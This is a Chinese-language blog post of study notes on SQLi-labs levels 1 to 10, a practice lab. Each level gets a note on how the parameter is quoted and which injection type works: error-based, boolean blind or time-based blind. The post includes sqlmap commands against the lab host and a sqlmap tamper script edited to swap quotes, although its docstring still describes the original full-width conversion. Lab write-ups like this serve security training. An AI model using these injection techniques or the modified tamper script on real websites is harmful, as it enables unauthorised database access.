sqlilab less1-less10

 

 

 

 

less-1

 

参数被单引号包裹,加单引号,闭合后绕过

 

 

 

 

 

 

 

 


 

less-2

参数没有被包裹,直接带入查询,不需要闭合

 

 

 


less-3

参数被

('$id')

包裹,需要将他闭合

 

 

 

 


 

less-4

参数被小括号和双引号包裹,先对id进行处理,两边加上双引号,再带入查询,需要将其闭合

 

 

 

 


 

less-5

查询结果将mysql_error()返回前端,报错注入。需要先将前边进行闭合,再进行注入。

 

 

 

 


 

less-6

同样将报错信息返回前端,参数用双引号包裹

 

 

 

 


 

less-7

这里的报错内容被注释掉,如果正确的话返回的是一个,错误的话返回另一个,可以通过left,substr等函数来判断内容

 

 

 

 


 

less-8

正确的话有内容返回,错误的话无内容,参数无包裹。and函数必须两边均为True,返回正确

 

if为判断,ascii为转为acsii码,substr为选择内容

 

 

python .\sqlmap.py -u http://sqli.com/Less-8/?id=1 --dbs --technique B

 

 


 

less-9

返回的内容一样时,只能基于时间注入,通过sleep函数,在less-8上加上sleep

 

 

 

 python .\sqlmap.py -u http://sqli.com/Less-9/?id=1 --dbs --technique T

 

 


 

less-10

双引号包裹的时间盲注,同less-9。

 

 

 这部分使用sqlmap看了好多文章,都是说sqlmap可以直接跑,但是我没有成功。这里的闭合是双引号闭合,通过分析sqlmap的攻击语句是

 

 通过修改sqlmap的一个单引号转utf-8的tamper脚本,将单引号替换为双引号,注入成功

 1 #!/usr/bin/env python
 2 
 3 """
 4 Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 5 See the file 'LICENSE' for copying permission
 6 """
 7 
 8 from lib.core.enums import PRIORITY
 9 
10 __priority__ = PRIORITY.LOWEST
11 
12 
13 def dependencies():
14     pass
15 
16 
17 def tamper(payload, **kwargs):
18     """
19     Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
20 
21     References:
22         * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
23         * http://lukasz.pilorz.net/testy/unicode_conversion/
24         * http://sla.ckers.org/forum/read.php?13,11562,11850
25         * http://lukasz.pilorz.net/testy/full_width_utf/index.phps
26 
27     >>> tamper("1 AND '1'='1")
28     '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
29     """
30 
31     return payload.replace('\'', "%22") if payload else payload

 

 

 再或者指定prefix参数

 

posted @ 2020-07-29 11:53  红刃  阅读(320)  评论(0编辑  收藏  举报